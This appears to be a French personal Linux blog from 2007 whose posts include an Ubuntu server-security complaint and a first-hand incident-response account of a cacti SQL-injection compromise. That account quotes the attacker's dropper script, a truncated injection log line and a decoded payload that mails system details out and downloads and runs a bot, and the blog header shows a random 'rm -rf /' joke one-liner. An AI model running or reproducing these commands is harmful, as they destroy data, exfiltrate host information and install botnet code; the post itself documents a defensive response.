KubuntuBlog

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo “Still alive”

Aller au contenu | Aller au menu | Aller à la recherche

mercredi 21 février 2007

Rastafa-Lien

  • Vous n'avez pas le temps de regarder des films ou bien vous vous endormez au bout de 5 minutes ? Alors rattrapez vous en 5 secondes. Et si 5 c'est trop court, va pour 30 (via)

lundi 19 février 2007

Photos

Hier, derrière l'ile-grande, ça remuait un peu.

Photo Photo Photo

mercredi 14 février 2007

Cherchez l'erreur

Vous savez peut-être déjà que beaucoup d'emplois vont être supprimés suite à la fusion Alcatel-Lucent. Je ne vais pas approfondir. Il y a quand même quelques chiffres qui me semblent interressants[1].

Dans Alcatel-Lucent France (anciennement CIT), hors prestataires, vont être supprimés 1330 emplois sur les 8400 que compte la société, soit 15.8% des effectifs. Cette partie d'alcatel Lucent fait la R&D. Ce sont eux qui développent les produits à vendre.

Dans la Compagnie financière Alcatel Lucent, 28 postes sur 600 vont disparaître. Cette filiale est situé à La Boetie (siège social) et s'occuppe de l'administratif. Ces suppressions representent 4.6% des effectifs.

Il est normal que lors d'une fusion on dégage des synergies du fait des postes en doubles. Mais je trouve quand même étonnant qu'on en fasse plus de trois fois plus dans la R&D que dans la finance.

Bien sur, le fait que ce soit ces deuxième qui décident des suppressions d'emplois n'a rien à voir avec cela.

Un dernier point. Patricia Russo (directrice générale du nouveau groupe) à gagné en 2005 ~6.4 millions d'euros[2]. Cela correspond en gros à 130 ingénieurs de R&D[3]

Notes

[1] Pour les sources, voir par exemple ici ou ici

[2] 8.4 millions de dollars

[3] voir par exemple la grille de salaire à Lannion

jeudi 8 février 2007

Est-ce bien raisonnable ?

Je n'en suis pas sur. Mais bon, l'occasion fait le larron.

Le transport a été ... sportif ! J'espère que les amortisseurs ne s'en souviendrons pas :)

Baie Baie

En tout cas je sais dans quoi je vais faire la baie de brassage et le stockage de serveur :)

Merci au généreux donnateur, il se reconnaitra.

Partenariat entre Canonical et Linspire

La société Canonical (que vous connaissez bien) et la société Linspire viennent d'annoncer conjointement un accord technique.

Linspire édite une distribution linux commerciale éponyme (ainsi qu'une version libre nommée Freespire). Son but est exclusivement le desktop et est actuellement sur base Debian. On peux aussi noter qu'ils sponsorisent (ou ont sponsorisé) plusieurs developpements libre comme Nvu.
Elle dispose aussi d'un logiciel d'installation qui se veux la manière la plus facile d'installer sous Linux[1]

L'accord comporte deux points :

  • Linspire abandonne sa base debian pour basculer sur les paquets Ubuntu
  • Ubuntu intègre la technologie CNR dans sa distribution

L'intégration se fera à partir de la 7.04 Feisty Fawn.

Pour plus de détails :

Notes

[1] perso, après avoir lu la description, je ne vois pas ce que ça amène de plus qu'un synaptic

avrDefender : un petit jeu à deux balles

Je continue à apprendre peu à peu l'utilisation de l'ATmega8 présent sur ma carte myAVR. Au programme du jour les interruptions sur timer, la gestion des entrées numériques (boutons) et surtout l'affichage sur lcd (à l'aide de la bibliothèque LCD de Peter Fleury).

Le résultat est un petit jeu à deux balles ou il faut éviter des météorites. Bon, sur un LCD de 2 lignes et 16 colonnes, les graphismes sont pas terribles :)

Je l'ai appelé avrDefender en hommage à un grand jeu !

Et si vous êtes interressés par du code cochon de quelqu'un qui débute, vous pouvez toujours aller voir.

Ubuntu est-elle prête pour le serveur ?

Je dispose chez moi d'un serveur perso. Il héberge quelques applications web, sert de sauvegarde centralisée et fait la passerelle entre le réseau filaire et wifi.
Celui-ci utilise une Ubuntu Dapper LTS en version serveur. Outre la durée de maintenance annoncée (5 ans pour la version serveur), j'ai choisit une ubuntu pour mon serveur afin de garder une cohérence sur mon parc. N'ayant qu'une seule sorte de distribution, l'administration est plus simple.

Or récemment, il a été victime d'une intrusion. En résumé, l'attaquant est passé par une faille de cacti pour installer un bot irc. Ma machine devenant alors un zombie. Si vous voulez plus de détails, vous pouvez lire mon billet Réagir à une intrusion sur un système linux

Regardons la chronologie des événements :

  • 28/12/2006 : faille critique découverte dans cacti. Elle permet l'exécution de code arbitraire
  • 06/01/2007 : publication par l'équipe de développement de patchs corrigeant cette faille. Ceux-ci sont disponibles pour les deux dernières versions dont la 0.8.6h de dapper
  • 08/01/2007 : création d'un bug dans Launchpad
  • 02/02/2007 : exploitation de la faille sur mon serveur.

Avant toute chose sachez que mon serveur est tenu à jour la nuit par un processus cron. La conclusion est simple, le paquet n'est pas tenu corrigé des mises à jours de sécurité, fussent-elles critiques !

Et bien, ceci est normal. En effet cacti fait parti de Universe et ne fait donc pas parti des paquets officiellement maintenus.

Be advised that neither the Universe or Multiverse repositories contain officially supported packages. In particular, there may not be security updates for these packages.

A noter qu'à l'heure ou j'écris, la correction ne semble pas appliquée dans Edgy[1], mais l'est dans Feisty[2]. Voir la liste des mises-à-jour

A titre de comparaison regardons debian (bug #404818 pour avoir l'historique):

  • version testing : la correction est faite dans le paquet 0.8.6i, mise à jour : 17/01
  • version stable : le patch pour la 0.8.6c n'est pas fourni par l'équipe de cacti. Mais le patch est backporté de la 0.8.6i. On peux le voir dans le diff sur cmd.php, mise à jour 17/01

Alors oui, j'aurais du le savoir, j'aurais du suivre les mises-à-jour pour mes logiciels Universe et les faire moi-même[3]. Mais je n'ai pas envie de faire un boulot d'administrateur réseau et de veille sécurité quand je suis chez moi. Je veux juste que ça marche sans trop de problèmes.

J'aurais pu aussi me passer des softs dispos dans Universe. Mais chez moi ils représentent 48 paquets sur 389 soit plus de 12%. De plus dans ces paquets Universe, on trouve Bacula, WebSvn, trac, phpMyAdmin, cacti ... Des logiciels qui sont en 1ère ligne et dont je ne veux pas me passer.

Si vous voulez faire le test chez vous[4] :

for p in $(dpkg-query -W --showformat='${Package} '); \
do \
   echo -ne "$p\t"; \
   apt-cache show --no-all-versions $p|grep "Section:"|sed 's/Section://'; \
done |tee /tmp/list
wc -l /tmp/list
grep -i universe /tmp/list | wc -l

Donc pour répondre au titre un brin provocateur de ce billet : pour mon utilisation ou je recherche un minimum d'administration pour un maximum de sécurité : NON, Ubuntu Server ne me convient plus.
KUbuntu me satisfait pleinement sur le desktop, mais je crains qu'elle ne soit pas encore à la hauteur pour les serveurs persos, sauf si vous acceptez de suivre et de patcher vous-même les failles de sécurité pour les softs qui ne sont pas dans main.

Lors de la ré-install de mon serveur pour le remettre sur le réseau, je choisirai une debian qui assure la sécurité de beaucoup plus de paquets.

Notes

[1] Des paquets sont disponibles pour Edgy dans le bug mentionné ci-desus. Pour dapper ils ne sont pas encore prêts

[2] resynchro avec les paquets debian

[3] dans l'attaque que j'ai subi, interdire l'execution dans /tmp comme préconisé par NiKo aurait pu servir, mais ca ne protège pas d'autres méthodes

[4] un simple dpkg-query -W --showformat='${Package} ${Section}' devrait suffir, mais l'information Universe n'apparaît alors pas dans la section.

mercredi 7 février 2007

Vista

Tout le monde l'a déjà vue, mais je la poste quand même.
C'est en effet tellement vrai.

mardi 6 février 2007

Lien bon la barre

Voici un petit billet de liens qui trainait dans mes brouillons depuis un moment.

  • Vous avez confiance dans les terminaux de paiement ? Vous pouvez, c'est pas demain que vous pourrez jouer comme cela avec :) . Ca ressemble pas mal à ça

lundi 5 février 2007

Réagir à une intrusion sur un systeme linux

AttentionJe viens de faire face à une intrusion. Le cracker a profité d'une faille de cacti non patchée dans ma distribution (j'y reviendrais) pour s'introduire sur mon serveur perso. Nous allons essayer d'analyser la machine pour découvrir comment il est entré.

Attention ! Je ne suis pas du tout un spécialiste en sécurité. Ce billet n'est pas une marche à suivre mais a pour but de décrire ma réaction. Ma méthode est surement criticable, n'hesitez pas à vous exprimer dans les commentaires pour corriger mes erreurs.

La découverte

Hier, lors d'un top, je remarque qu'un processus perl prends pas mal de cpu. Il semble être en rapport avec les logs d'apache. Concentré sur autre chose, je ne cherche pas plus loin.

Aujourd'hui lors d'un nouveau top le même processus prends toujours de la cpu. Ayant 5 minutes devant moi, je décide de voir un peu plus loin. Bien m'en prends puisque je découvre bien vite une incohérence ! Dans le top, je vois un processus perl, mais dans un ps, le pid est associé à un fichier /usr/sbin/apache/log qui n'existe pas ! L'inquiétude monte.

Un petit tour dans /tmp ou je découvre des fichiers que je n'y ai jamais vu : go.jpg et go qui est un script shell :

#/bin/bash
cd /var/tmp;wget http://xxxx.xx.uk/bad.jpg;tar zxvf bad.jpg;rm -rf bad.jpg;
cd .u;wget http://xxxx.xx.uk/b0t.jpg;perl b0t.jpg

La, plus de doutes ! Ma machine est compromise. Surtout ne pas se laisser submerger par la panique. Ne pas couper l'interface réseau.
Première chose : sauvegarder toutes les traces et logs possibles et étudier un peu ce qui se passe. Bacula-wxHeureusement je suis tranquille pour mes données, gràce à Bacula je sauvegarde toutes les nuits.

La prise d'informations

Pour commencer, il faut capturer le traffic réseau histoire de voir ce qu'il fait. Je ferme donc toutes les applications autorisées du reseau local pour ne pas polluer la capture. Ensuite tcpdump :

sudo tcpdump -v -i ra0 -s 4096 -w /montage/nfs/ra0.raw

Cette commande capture les paquets sur l'interface ra0 (l'exterieur chez moi) d'une taille jusqu'à 4096 octets (sinon on a que les headers) et écrit les données sur un montage nfs. On pourra facilement les exploiter plus tard à l'aide de ethereal / wireshark[1]

Ensuite récuperer les traces en recopiant mon répertoire /var/log sur un montage nfs puis de la même manière je capture au maximum l'état actuel de la machine (c'est à dire avec le Bot en fonctionnement) :

sudo tar cvf /montage/nfs/log/varlog.tar /var/log
sudo ps -ef > /montage/nfs/log/ps-ef
sudo lsof > /montage/nfs/log/lsof
sudo netstat -an > /montage/nfs/log/netstat-an
sudo strace -p 21160 > /montage/nfs/log/strace 2>&1

Voici quelques détails :

  • ps liste les processus en cours
  • lsof est très très utile, cette commande liste tous les fichiers classés par processus
  • netstat donne les informations sur les connections réseaux ouvertes et les ports écoutés
  • strace donne les appels systèmes du processus de pid 21160. Dans ce cas je n'en ai rien sorti

Une rapide analyse du lsof me donne les fichiers malicieux, je les sauvegarde aussi :

  • /var/tmp/.u/
  • /tmp/
  • /var/lib/cacti/rra/suntzu.log

Une chose me reste à l'esprit pendant toute cette phase, je ne sais pas à quel point ma machine est compromise. Dans le cas ou un gros rootkit avec keylogger est installé, je suis en train de lui donner un accès root de toute beauté !

Quand je considère cette phase terminée, je coupe les interfaces réseaux et isole la machine sans l'eteindre. Maintenant arrive la phase d'analyse des logs et du code perl du bot. J'ai deux objectifs :

  • Comment est-il entré ?
  • Quels dégats a-t-il fait chez moi et chez les autres ?

Les faits

Après analyse, voici le déroulement des faits tels que je les ai reconstitués : Vendredi à 18:43, quelqu'un a exploité une faille de cacti pour executer du code. C'est assez facile à voir dans les logs du fait de la longeur excessive de la ligne (1034 caractères) :

213.XX.XX.XXX - - [02/Feb/2007:18:43:38 +0100] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null ...

On détecte aussi un peu plus loin l'utilisation de ma machine comme proxy :(

Cette attaque provient d'une machine polonaise, une fois décodé, le code correspond à cela :

uname -a >> /tmp/out;/sbin/ifconfig |grep inet >> /tmp/out;
cat /tmp/out | mail -s xxxxxx xxxx_xxxxx@yahoo.com;
wget http://xxxxxxx.xx.uk/go.jpg -O /tmp/go.jpg;tar xzvf /tmp/go.jpg -C /tmp;
/tmp/go > ./rra/suntzu.log

Il s'est donc envoyé un mail avec les informations sur ma machine et a téléchargé et executé le script shell vu ci-dessus. Ce script a à son tour téléchargé un client irc en perl et un bot irc camouflé en httpd (ainsi qu'une autre version en bash)

Le bot irc est EnergyMech. Le client perl est issu de l'Atrix Shellbot qui semble avoir ciblé phpbb puis modifié pour mambo et maintenant pour cacti[2].

Une fois démarré, EnergyMech prend la place de apache et se met en écoute des ports 80 et 443. Quand au Shellbot, il se connecte à un serveur irc (aux USA) et se met en attente de commandes. En jetant un oeil au code, on s'apercoit qu'il peut faire à la demande :

  • du dénis de service en tcp, http, udp
  • executer toute commande sur la machine inféctée (dans la limite de ses droits bien sur)
  • chercher à infecter d'autres machines en les recherchant via google
  • ...

Il est aussi personalisable, dispose d'un système léger de droits ce qui permet d'utiliser plusieurs botnet sur le même serveur/canal irc.

etherealDans les dumps réseaux, je vois passer des commandes mais rien qui ne me soit destiné. On trouve des reponses IRC comme cela :

:xxx!xxxx@xxxxxxxxxx.xxxx.xxxxxxxx.org PRIVMSG #botzs :.ACTION brb ..pap :P.

qui restent incomprehensibles à moins d'avoir le code du client. On peux juste en extraire le pseudo du propriétaire, les bots destinataires (botzs) et l'action qui leur est demandée.

Par contre, je n'ai pas pu savoir s'il a réalisé des actions pendant sa période de présence en ligne (environ 40h). Je n'ai rien détécté dans les logs. Peut-être ai-je mal cherché.

Conclusions

Dans une certaine mesure, j'ai une part de responsabilité. Je n'ai pas maintenu mon serveur à jour. Je reviendrais la-dessus dans un prochain article.

J'ai retrouvé après coup l'article que je me souvenais avoir lu : Comment réagir (techniquement) en cas d'intrusion . J'ai presque bon. Il me manque quelques logs, la préparation et surtout la séparation des outils d'analyse de la machine infecté. Je pense que dans le cas d'un rootkit, ça ne pardonne pas. Je vous conseille d'aller lire cet article et de vous y préparer.

Les dégats semblent limités. L'attaquant est sans doute resté cantonné à l'utilisateur www et n'est pas allé plus loin (rkhunter semble me le confirmer). De plus j'ose esperer qu'en 40h il n'a pas eu le temps de faire trop de dégats à partir de ma machine.

J'ai toujours repoussé l'installation des logiciels de surveillance (IDS) je le regrette maintenant.

Je vais porter plainte même si je doute que cela apporte grand chose. A priori cela ne semble même pas évident à faire. Il faut avoir comme informations :

  • les logs bien sur
  • l'adresse physique de la machine
  • les dégats subits qui dans mon cas semblent minimes

Je ne fais plus confiance à cette machine, la re-installation complète la guette !

Notes

[1] pour la petite histoire j'avais jamais lu une page de man aussi vite pour trouver cette ligne de commande :)

[2] on le trouve assez facilement sur le reseau

vendredi 2 février 2007

Geek ?

Vu dans fcolc :

> Ca veut dire quoi un geeks?
C'est quelqu'un qui cherche dans google quand il connait pas un mot.